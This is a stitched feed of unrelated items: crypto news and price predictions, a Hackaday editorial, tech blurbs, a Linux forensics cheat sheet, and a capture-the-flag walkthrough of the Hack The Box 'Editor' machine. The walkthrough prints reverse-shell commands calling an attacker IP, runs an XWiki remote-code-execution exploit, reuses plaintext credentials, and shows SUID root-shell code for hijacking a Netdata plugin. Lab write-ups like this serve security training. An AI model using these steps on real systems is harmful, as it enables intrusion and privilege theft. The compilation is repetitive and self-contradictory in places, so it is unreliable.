How could the XRP price react if the top 10 Fortune 500 companies decide to add XRP to their balance sheets? Notably, as U.S.

Visit Website

Preserve the beauty of your Christmas tree or turn branches into artwork with these wooden ornaments made of ... Read More

The post Wooden Ornaments: How to Dry, Design, and Seal appeared first on Garden Therapy.

Kat Tenbarge / Wired:
Some Reddit moderators say a surge of AI slop on the site is eroding its authenticity and could lead to a feedback loop of AI models training on AI content  —  Reddit is considered one of the most human spaces left on the internet, but mods and users are overwhelmed with slop posts in the most popular subreddits.

The site is called Hackaday, and has been for 21 years. But it was only for maybe the first half-year that it was literally a hack a day. By the 2010s, we were putting out four or more per day, and in the later 20-teens, we settled into our current cadence of eight hacks per day, plus some original pieces over the top. That’s a lot of hacks per day! (But “Eight-to-Ten-Hacks-a-Day” just isn’t as catchy.)

With that many posts daily, we also tend to reach out to a broader array of interests. Quite simply, not every hack is necessarily going to be just exactly what you are looking for, but we wouldn’t be writing it up if we didn’t think that someone was looking for it. Maybe you don’t like CAN bus hacks, but you’re into biohacking, or retrocomputing. Our broad group of writers helps to make sure that we’ll get you covered sooner or later.

What’s still surprising to me, though, is that a couple of times per week, there is a hack that is actually relevant to a particular project that I’m currently working on. It’s one thing to learn something new every day, and I’d bet that I do, but it’s entirely another to learn something new and relevant.

So I shouldn’t have been shocked when Tom and I were going over the week’s hacks on the podcast, and he picked an investigation of injecting spray foam into 3D prints. I liked that one too, but for me it was just “learn something new”. Tom has been working on an underwater ROV, and it perfectly scratched an itch that he has – how to keep the top of the vehicle more buoyant, while keeping the whole thing waterproof.

That kind of experience is why I’ve been reading Hackaday for 21 years now, and it’s all of our hope that you get some of that too from time to time. There is a lot of “new” on the Internet, and that’s a wonderful thing. But the combination of new and relevant just can’t be beat! So if you’ve got anything you want to hear more about, let us know.

A truly smart home isn’t one that you control with your voice or phone, but one that is fully automated. Presence detection is key to creating an environment that anticipates your next move, whether that’s turning on a light in a cupboard or understanding exactly who is in which room.

I've always had a soft spot for Bentley. There’s something about the leather, the wood, the deep carpets, and that quiet swagger the brand carries that just gets me. It turns even a quick grocery run into something that feels a notch above normal life.

I'm a big sports fan, and I'm always watching something on YouTube TV, whether that's the NFL, NCAAF, or NHL games. Although the interface isn't the best for finding a particular game, there's a live sports delay, and streaming can often buffer, it's still a good overall experience. However, this one setting makes things even better.

Although I've dabbled with the likes of Motorola and Samsung, a large part of my Android journey has been built around Google hardware, from the early Nexus phones onwards. We've now had 10 generations of Pixel phones, and these are the ones that really stand out for me.

Welcome back, aspiring forensic investigators. 

Linux is everywhere today. It runs web servers, powers many smartphones, and can even be found inside the infotainment systems of cars. A few reasons for its wide use are that Linux is open source, available in many different distributions, and can be tailored to run on both powerful servers and tiny embedded devices. It is lightweight, modular, and allows administrators to install only the pieces they need. Those qualities make Linux a core part of many organizations and of our daily digital lives. Attackers favour Linux as well. Besides being a common platform for their tools, many Linux hosts suffer from weak monitoring. Compromised machines are frequently used for reverse proxies, persistence, reconnaissance and other tasks, which increases the need for forensic attention. Linux itself is not inherently complex, but it can hide activity in many small places. In later articles we will dive deeper into what you can find on a Linux host during an investigation. Our goal across the series is to build a compact, reliable cheat sheet you can return to while handling an incident. The same approach applies to Windows investigations as well.

Today we will cover the basics of Linux forensics. For many incidents this level of detail will be enough to begin an investigation and perform initial response actions. Let’s start.

OS & Accounts

OS Release Information

The first thing to check is the distribution and release information. Different Linux distributions use different defaults, package managers and filesystem layouts. Knowing which one you are examining helps you predict where evidence or configuration will live. 

bash> cat /etc/os-release

Common distributions and their typical uses include Debian and Ubuntu, which are widely used on servers and desktops. They are stable and well documented. RHEL and CentOS are mainly in enterprise environments with long-term support. Fedora offers cutting-edge features, Arch is rolling releases for experienced users, Alpine is very small and popular in containers. Security builds such as Kali or Parrot have pentesting toolsets. Kali contains many offensive tools that hackers use and is also useful for incident response in some cases.

Hostname

Record the system’s hostname early and keep a running list of hostnames you encounter. Hostnames help you map an asset to network records, correlate logs across systems, identify which machine was involved in an event, and reduce ambiguity when combining evidence from several sources.

bash> cat /etc/hostname

bash> hostname

Timezone

Timezone information gives a useful hint about the likely operating hours of the device and can help align timestamps with other systems. You can read the configured timezone with:

bash> cat /etc/timezone

User List

User accounts are central to persistence and lateral movement. Local accounts are recorded in /etc/passwd (account metadata and login shell) and /etc/shadow (hashed passwords and aging information). A malicious actor who wants persistent access may add an account or modify these files. To inspect the user list in a readable form, use:

bash> cat /etc/passwd | column -t -s :

You can also list users who are allowed interactive shells by filtering the shell field:

bash> cat /etc/passwd | grep -i 'ash'

Groups

Groups control access to shared resources. Group membership can reveal privilege escalation or lateral access. Group definitions are stored in /etc/group. View them with:

bash> cat /etc/group

Sudoers List

Users who can use sudo can escalate privileges. The main configuration file is /etc/sudoers, but configuration snippets may also exist under /etc/sudoers.d. Review both locations: 

bash> ls -l /etc/sudoers.d/

bash> sudo cat /etc/sudoers

Login Information

The /var/log directory holds login-related records. Two important binary files are wtmp and btmp. The first one records successful logins and logouts over time, while btmp records failed login attempts. These are binary files and must be inspected with tools such as last (for wtmp) and lastb (for btmp), for example:

bash> sudo last -f /var/log/wtmp

bash> sudo lastb -f /var/log/btmp

System Configuration

Network Configuration

Network interface configuration can be stored in different places depending on the distribution and the network manager in use. On Debian-based systems you may see /etc/network/interfaces. For a quick look at configured interfaces, examine:

bash> cat /etc/network/interfaces

bash> ip a show

Active Network Connections

On a live system, active connections reveal current communications and can suggest where an attacker is connecting to or from. Traditional tools include netstat:

bash> netstat -natp

A modern alternative is ss -tulnp, which provides similar details and is usually available on newer systems.

Running Processes

Enumerating processes shows what is currently executing on the host and helps spot unexpected or malicious processes. Use ps for a snapshot or interactive tools for live inspection:

bash> ps aux

If available, top or htop give interactive views of CPU/memory and process trees.

DNS Information

DNS configuration is important because attackers sometimes alter name resolution to intercept or redirect traffic. Simple local overrides live in /etc/hosts. DNS server configuration is usually in /etc/resolv.conf. Often attackers might perform DNS poisoning or tampering to redirect victims to malicious services. Check the relevant files:

bash> cat /etc/hosts

bash> cat /etc/resolv.conf

Persistence Methods

There are many common persistence techniques on Linux. Examine scheduled tasks, services, user startup files and systemd units carefully.

Cron Jobs

Cron is often used for legitimate scheduled tasks, but attackers commonly use it for persistence because it’s simple and reliable. System-wide cron entries live in /etc/crontab, and individual service-style cron jobs can be placed under /etc/cron.d/. User crontabs are stored under /var/spool/cron/crontabs on many distributions. Listing system cron entries might look like:

bash> cat /etc/crontab

bash> ls /etc/cron.d/

bash> ls /var/spool/cron/crontabs

Many malicious actors prefer cron because it does not require deep system knowledge. A simple entry that runs a script periodically is often enough.

Services

Services or daemons start automatically and run in the background. Modern distributions use systemd units which are typically found under /etc/systemd/system or /lib/systemd/system, while older SysV-style scripts live in /etc/init.d/. A quick check of service scripts and unit files can reveal backdoors or unexpected startup items:

bash> ls /etc/init.d/

bash> systemctl list-unit-files --type=service

bash> ls /etc/systemd/system

.Bashrc and Shell Startup Files

Per-user shell startup files such as ~/.bashrc, ~/.profile, or ~/.bash_profile can be modified to execute commands when an interactive shell starts. Attackers sometimes add small one-liners that re-establish connections or drop a backdoor when a user logs in. The downside for attackers is that these files only execute for interactive shells. Services and non-interactive processes will not source them, so they are not a universal persistence method. Still, review each user’s shell startup files:

bash> cat ~/.bashrc

bash> cat ~/.profile

Evidence of Execution

Linux can offer attackers a lot of stealth, as logging can be disabled, rotated, or manipulated. When the system’s logging is intact, many useful artifacts remain. When it is not, you must rely on other sources such as filesystem timestamps, process state, and memory captures.

Bash History

Most shells record commands to a history file such as ~/.bash_history. This file can show what commands were used interactively by a user, but it is not a guaranteed record, as users or attackers can clear it, change HISTFILE, or disable history entirely. Collect each user’s history (including root) where available:

bash> cat ~/.bash_history

Tmux and other terminal multiplexers themselves normally don’t provide a persistent command log. Commands executed in a tmux session run in normal shell processes. Whether those commands are saved depends on the tmux configurations. 

Commands Executed With Sudo

When a user runs commands with sudo, those events are typically logged in the authentication logs. You can grep for recorded COMMAND entries to see what privileged commands were executed:

bash> cat /var/log/auth.log* | grep -i COMMAND | less

Accessed Files With Vim

The Vim editor stores some local history and marks in a file named .viminfo in the user’s home directory. That file can include command-line history, search patterns and other useful traces of editing activity:

bash> cat ~/.viminfo

Log Files

Syslog

If the system logging service (for example, rsyslog or journald) is enabled and not tampered with, the files under /var/log are often the richest source of chronological evidence. The system log (syslog) records messages from many subsystems and services. Because syslog can become large, systems rotate older logs into files such as syslog.1, syslog.2.gz, and so on. Use shell wildcards and standard text tools to search through rotated logs efficiently:

bash> cat /var/log/syslog* | head

When reading syslog entries you will typically see a timestamp, the host name, the process producing the entry and a message. Look for unusual service failures, unexpected cron jobs running, or log entries from unknown processes.

Authentication Logs

Authentication activity, such as successful and failed logins, sudo attempts, SSH connections and PAM events are usually recorded in an authentication log such as /var/log/auth.log. Because these files can be large, use tools like grep, tail and less to focus on the relevant lines. For example, to find successful logins you run this:

bash> cat /var/log/auth.log | grep -ai accepted

Other Log Files

Many services keep their own logs under /var/log. Web servers, file-sharing services, mail daemons and other third-party software will have dedicated directories there. For example, Apache and Samba typically create subdirectories where you can inspect access and error logs:

bash> ls /var/log

bash> ls /var/log/apache2/

bash> ls /var/log/samba/

Conclusion

A steady, methodical sweep of the locations described above will give you a strong start in most Linux investigations. You start by verifying the OS, recording host metadata, enumerating users and groups, then you move to examining scheduled tasks and services, collecting relevant logs and history files. Always preserve evidence carefully and collect copies of volatile data when possible. In future articles we will expand on file system forensics, memory analysis and tools that make formal evidence collection and analysis easier.

BPCE's crypto integration signals a shift in traditional banking, potentially accelerating digital asset adoption and regulatory evolution in Europe.

The post French banking giant BPCE will start letting customers buy Bitcoin and major tokens on Monday appeared first on Crypto Briefing.

Industry leader Tom Lee has shared how the Ethereum price could reach $12,000 within the next few months. He based his prediction on the Bitcoin price action and how ETH could match the flagship crypto on a potential run to the upside. 

Tom Lee Explains How The Ethereum Price Could Rally To $12,000

Speaking at the Binance Blockchain Week, Tom Lee predicted that the Ethereum price could reach $12,000 as Bitcoin rallies to $250,000 within the next few months. He explained that ETH can reach the $12,000 target if the ETH/BTC ratio returns to its eight-year average of 0.0479. Lee described this potential rally to $12,000 as a “huge move.”

Tom Lee further predicted that the Ethereum price could reach $22,000 if the ETH/BTC ratio gets to its 2021 high of 0.0873. He added that he believes Ethereum will become the future of finance and the payment rails. As such, Lee predicted that the ETH/BTC ratio could reach 0.2500, sparking an Ethereum rally to as high as $62,500. In line with this, the expert declared that ETH at $3,000 is “grossly undervalued.”

Tom Lee also remarked that the bigger the base, the bigger the breakout for the Ethereum price. He noted that ETH spent years building a similar base to its current price action before the move from $90 to its previous all-time high (ATH) of $4,866. The expert added that if the pattern plays out again, the next leg could be larger than what people expect. 

It is worth noting that Tom Lee is the chairman of BitMine, which is the largest Ethereum treasury company. According to Strategic ETH Reserve data, the company currently holds 3.73 million ETH, which is just over 3% of the altcoin’s total supply. Lee remains bullish on the Ethereum price, despite his company holding an unrealized loss of $3.3 billion of their ETH investment. 

A Rally To $62,000 Is “Ambitious”

Market commentator Milk Road described Tom Lee’s Ethereum price prediction of $62,000 in a few months as being ambitious. The platform stated that an ETH/BTC ratio of 0.25 has never happened. The highest it has ever gone is 0.15, and that was during the 2017 supercycle, which makes it less likely now, given that market conditions have changed. 

Tom Lee had based his Ethereum prediction on Bitcoin hitting $250,000, which Milk Road also described as an issue. The market commentator noted that BTC would need to surge 177% from current prices to reach this target. The last time this happened was in 2020 when it surged from $7,000 to $19,000 during the “peak mania.” Notably, BTC didn’t record a 100% gain even when the Bitcoin ETFs launched last year. 

At the time of writing, the Ethereum price is trading at around $3,000, down over 4% in the last 24 hours, according to data from CoinMarketCap.

The European Commission has moved to allocate the supervision of crypto companies and their activities under the sole jurisdiction of the European Securities and Markets Authority (ESMA).  This move will end the application of different regulatory styles in several member states operating under the EU’s Markets in Crypto-Assets regulation (MiCA).

ESMA’s Single Crypto Authority To Boost Competitiveness, Innovation – EC

In a Thursday announcement, the European Commission, the executive arm of the European Union (EU), rolled out a series of regulatory measures aimed at creating a singular financial service market. This initiative centers around creating a competitive, innovative, and efficient financial system that offers EU citizens better options for wealth growth and business financing. 

A statement from the announcement read: 

Deeper integration of financial markets is not an end, but a means to create a single market for financial services greater than the sum of its national parts. Simplified access to capital markets reduces costs and makes the markets more appealing for investors and companies across all Member States, irrespective of size.

In particular, the EC’s new regulatory package will move the oversight of Crypto-Asset Service Providers (CASPs), among other groups of businesses to under the sole authority of the ESMA. Interestingly, the EC’s recent move comes just three months after the French, Austrian, and Italian market authorities pushed for a stronger European framework for cryptocurrencies, citing major differences in each national implementation of the MiCA regulations. 

Presently, crypto regulation across the 27 EU member states operates under MiCA, resulting in a patchwork of national approaches which the EC claims is hindering competition and effective cross-border operations. The ESMA’s singular regime aims to eliminate these discrepancies in order to provide a better integrated EU financial market. 

The EC said:

Improvements to the supervisory framework are closely linked to the removal of regulatory barriers. The package aims to address inconsistencies and complexities from fragmented national supervisory approaches, making supervision more effective and conducive to cross-border activities, while being responsive to emerging risks. 

Alongside the new singular regime, the European Commission has also expressed plans to create a friendly environment for the adoption of distributed ledger technology, e.g, blockchains, to spur innovations in the financial sector. However, all these regulatory changes still remain subject to negotiation and approval by the  European Parliament and European Council.

Crypto Market Overview

At the time of writing, the total crypto market cap is valued at $3.04 trillion, following a slight 0.25% loss in the past day. Meanwhile, total trading volume is valued at $135.47 billion.

Gold has popped 4,000% following CFTC's approval in the 1970s, leaving Bitcoin and Ethereum with a similar scaling setup.

Introduction to Editor:

In this write-up, we will explore the “Editor” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Editor” machine from Hack The Box by achieving the following objectives:

User Flag:

Initial enumeration identifies an XWiki service on port 8080. The footer reveals the exact version, which is vulnerable to an unauthenticated Solr RCE (CVE-2025-24893). Running a public proof of concept provides a reverse shell as the xwiki service account. Exploring the installation directory reveals the hibernate.cfg.xml file, where plaintext database credentials are stored. These credentials are valid for the local user oliver as well. Using them for SSH access grants a stable shell as oliver, which makes it possible to read the user flag.

Root Flag:

Several plugin files are owned by root, set as SUID, and still group-writable. Since oliver belongs to the netdata group, these files can be modified directly. Additionally, this access allows a small SUID helper to be compiled and uploaded, which is then used to overwrite the ndsudo plugin. Afterwards, Netdata executes this plugin with root privileges during normal operation, and therefore, the replacement immediately forces the service to run the injected payload.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sV -sC -oA initial 10.10.11.80

nmap -sV -sC -oA initial 10.10.11.80

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/editor]
└──╼ $nmap -sV -sC -oA initial 10.10.11.80 
# Nmap 7.94SVN scan initiated Wed Dec  3 23:11:12 2025 as: nmap -sV -sC -oA initial 10.10.11.80
Nmap scan report for 10.10.11.80
Host is up (0.041s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Type: Jetty(10.0.20)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

┌─[dark@parrot]─[~/Documents/htb/editor]
└──╼ $nmap -sV -sC -oA initial 10.10.11.80 
# Nmap 7.94SVN scan initiated Wed Dec  3 23:11:12 2025 as: nmap -sV -sC -oA initial 10.10.11.80
Nmap scan report for 10.10.11.80
Host is up (0.041s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Type: Jetty(10.0.20)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Analysis:

• Port 22 (SSH): OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 – standard secure shell service for remote access.
• Port 80 (HTTP): nginx 1.18.0 (Ubuntu) – web server acting as reverse proxy, redirects to http://editor.htb/.
• Port 8080 (HTTP): Jetty 10.0.20 running XWiki – main application with WebDAV enabled, missing HttpOnly on JSESSIONID, and robots.txt exposing edit/save/delete paths.

What is XWiki?

XWiki is a free, open-source enterprise wiki platform written in Java. Think of it as a super-powered Wikipedia-style software that companies or teams install on their own servers to create internal knowledge bases, documentation sites, collaborative portals, etc.

Web Enumeration:

Web Application Exploration:

Perform web enumeration to discover potentially exploitable directories and files.

Landing on http://editor.htb, we’re greeted by the homepage of “SimplistCode Pro” – a sleek, modern web-based code editor that looks almost identical to VS Code, complete with Ace Editor, file tree, and integrated terminal.

Accessing http://10.10.11.180:8080/xwiki/bin/view/Main/ reveals the built-in XWiki documentation page for SimplistCode Pro – confirming the actual editor runs on an XWiki instance at port 8080.

After discovering that the web service on port 8080 is an XWiki instance and confirming the exact version 15.10.8 from the footer banner, we immediately searched for public exploits.

CVE-2025-24893: Unauthenticated Remote Code Execution in XWiki Platform

CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in the XWiki Platform, an open-source enterprise wiki software. It allows any guest user (no login required) to execute arbitrary Groovy code on the server by sending a specially crafted request to the SolrSearch macro. This flaw stems from improper sandboxing and sanitisation of Groovy expressions in asynchronous macro rendering, enabling attackers to inject and execute malicious code via search parameters

This version is vulnerable to CVE-2025-24893 – an unauthenticated Remote Code Execution in the Solr search component via malicious Groovy templates.

Progressing through exploit trials

We clone the public PoC from gunzf0x’s GitHub repository: git clone https://github.com/gunzf0x/CVE-2025-24893

Testing the exploit syntax first – the script help shows mandatory flags -t (target URL) and -c (command).

Setting up our listener with nc -lvnp 9007 to catch the reverse shell.

We launch the final exploit python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c ‘bash -c “bash -i >/dev/tcp/10.10.14.189/9007 0>&1″‘ -e /bin/bash

Unfortunately, the CVE-2025-24893 exploit failed to pop a shell — no connection back to our listener—time to pivot and hunt for another path.

The exploit worked perfectly! Final command that popped the shell: python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c ‘busybox nc 10.10.14.189 9007 -e /bin/bash’ The script injected Groovy code via the vulnerable Solr search endpoint, executed busybox nc … -e /bin/bash, and gave us our reverse shell as the xwiki system user.

Achieving Initial Foothold as xwiki User on Editor machine via CVE-2025-24893

Back on our attacker box, we fire up nc -lvnp 9007. Moments later, the listener catches a connection from 10.10.11.80:59508. Running id confirms we successfully landed as xwiki (uid=997) – the exact user running the XWiki Jetty instance. Initial foothold achieved!

The shell is raw and non-interactive. We immediately stabilize it: which python3 → /usr/bin/python3 python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ Prompt changes to xwiki@editor:/usr/lib/xwiki-jetty$ – full TTY achieved, background color and everything.

Inside the limited shell as xwiki@editor, we see another user home directory called oliver. Attempting cd oliver instantly fails with Permission denied – no direct access yet, but we now know the real target user is oliver.

Quick enumeration with find / -name “xwiki” 2>/dev/null reveals all XWiki-related paths (config, data store, logs, webapps, etc.). Confirms we’re deep inside the actual XWiki installation running under Jetty.

ls in the same directory reveals the classic XWiki/Jetty config files, including the juicy hibernate.cfg.xml – this file almost always contains plaintext database credentials.

hibernate.cfg.xml credential reuse on editor machine

Full cat hibernate.cfg.xml confirms this is the real DB password used by the application. Classic misconfiguration: developers reuse the same password for the DB user and the system user oliver.

cat hibernate.cfg.xml | grep password instantly dumps multiple entries, and the first one is: theEd1t0rTeam99 Bingo – plaintext password for the XWiki database (and very often reused elsewhere).

While poking around /usr/lib/xwiki/WEB-INF/, we try su oliver and blindly guess the password theEd1t0rTeam99 (common pattern on HTB). It fails with an Authentication failure – wrong password, but we now know the exact target user is Oliver.

Attempting to SSH directly as xwiki@editor.htb results in “Permission denied, please try again.” (twice). Attackers cannot log in via password-based SSH because the xwiki system account lacks a valid password (a common setup for service accounts). We can only interact with the XWiki user via the reverse shell we already have from the CVE exploit. No direct SSH access here.

SSH as oliver

From our attacker box we can now SSH directly as oliver (optional, cleaner shell): ssh oliver@editor.htb → password theEd1t0rTeam99 → clean login

User flag successfully grabbed! We’re officially the oliver user and one step closer to root.

Escalate to Root Privileges Access on the Editor machine

Privilege Escalation:

Sorry, user oliver may not run sudo on editor. No passwordless sudo, no obvious entry in /etc/sudoers.

Only oliver’s normal processes visible: systemd user instance and our own bash/ps. No weird cronjobs, no suspicious parent processes. Confirms we need a deeper, non-obvious privesc vector.

After stabilising our shell as oliver, we immediately start hunting for privilege-escalation vectors. First, we run find / -perm 4000 2>/dev/null to enumerate SUID binaries – the output returns nothing interesting, instantly ruling out the classic GTFOBins path. To be thorough, we double-check find / -user root -perm 4000 2>/dev/null in case any root-owned SUIDs were missed, but the result is the same: no promising binaries. Straight-up SUID exploitation is off the table, so we pivot to deeper enumeration with LinPEAS and other techniques. Root will require a less obvious vector.

Linpeas Enumeration

Downloading LinPEAS into /dev/shm (tempfs, stays hidden and writable).

As oliver, we fire up LinPEAS in /dev/shm: ./linpeas.sh. The legendary green ASCII art confirms it’s running and scanning.

LinPEAS lights up the intended privesc path in bright red: a whole directory of Netdata plugins under /opt/netdata/usr/libexec/netdata/plugins.d/ are owned by root, belong to the netdata group, have the SUID bit set, and are writable by the group. Since groups oliver shows we’re in the netdata group, we can overwrite any of these binaries with our own malicious payload and instantly get a root shell the next time Netdata executes the plugin (which happens automatically every few seconds). Classic Netdata SUID misconfiguration, game over for root.

The key section “Files with Interesting Permissions” + “SUID – Check easy privesc” shows multiple Netdata plugins (like go.d.plugin, ndsudo, network-viewer.plugin, etc.) owned by root but executable/writable by the netdata group or others. Classic Netdata misconfiguration on HTB boxes.

dark.c – our tiny SUID root shell source code:

#include <unistd.h>
int main() {
    setuid(0); setgid(0);
    execle("/bin/bash", "bash", NULL);
    return 0;
}

#include <unistd.h>
int main() {
    setuid(0); setgid(0);
    execle("/bin/bash", "bash", NULL);
    return 0;
}

Compiled locally with gcc dark.c -o nvme, this will be uploaded and used to overwrite one of the writable Netdata SUID plugins.

why Nvme?

We compile our SUID shell as nvme to specifically target the Netdata plugin ndsudo at /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo. This file is root-owned, SUID, belongs to the netdata group, and is group-writable. Since oliver is in the netdata group, we can overwrite it directly. Netdata periodically runs ndsudo as root, so replacing it with our payload triggers an instant root shell. The name nvme is short, harmless-looking, and doesn’t clash with real system binaries, making it the perfect stealthy replacement. Upload → overwrite ndsudo → wait a few seconds → root. Simple and deadly effective

curl our compiled nvme from the attacker machine → download complete

chmod +x nvme → make it executable. Temporarily prepend /dev/shm to PATH so we can test it locally

When testing our malicious nvme binary with the existing ndsudo plugin (/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list), it fails with “nvme : not available in PATH.” This is expected because we haven’t overwritten ndsudo yet—it’s still the original binary, and our nvme isn’t in the PATH for this test command. It’s a quick sanity check to confirm the setup before the real overwrite. Next, we’ll copy nvme directly over ndsudo to hijack it.

An ls in /dev/shm now shows nvme is missing — we already moved or deleted it during testing. No problem: we just re-download it with curl nvme, chmod +x nvme, and we’re back in business, ready for the final overwrite of ndsudo. Payload restored, stealth intact.

We re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listWe re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

Root flag captured! With the Netdata plugin overwritten and triggered, we’ve spawned our SUID shell as root. Machine fully owned.

The post Hack The Box: Editor Machine Walkthrugh – Easy Difficulity appeared first on Threatninja.net.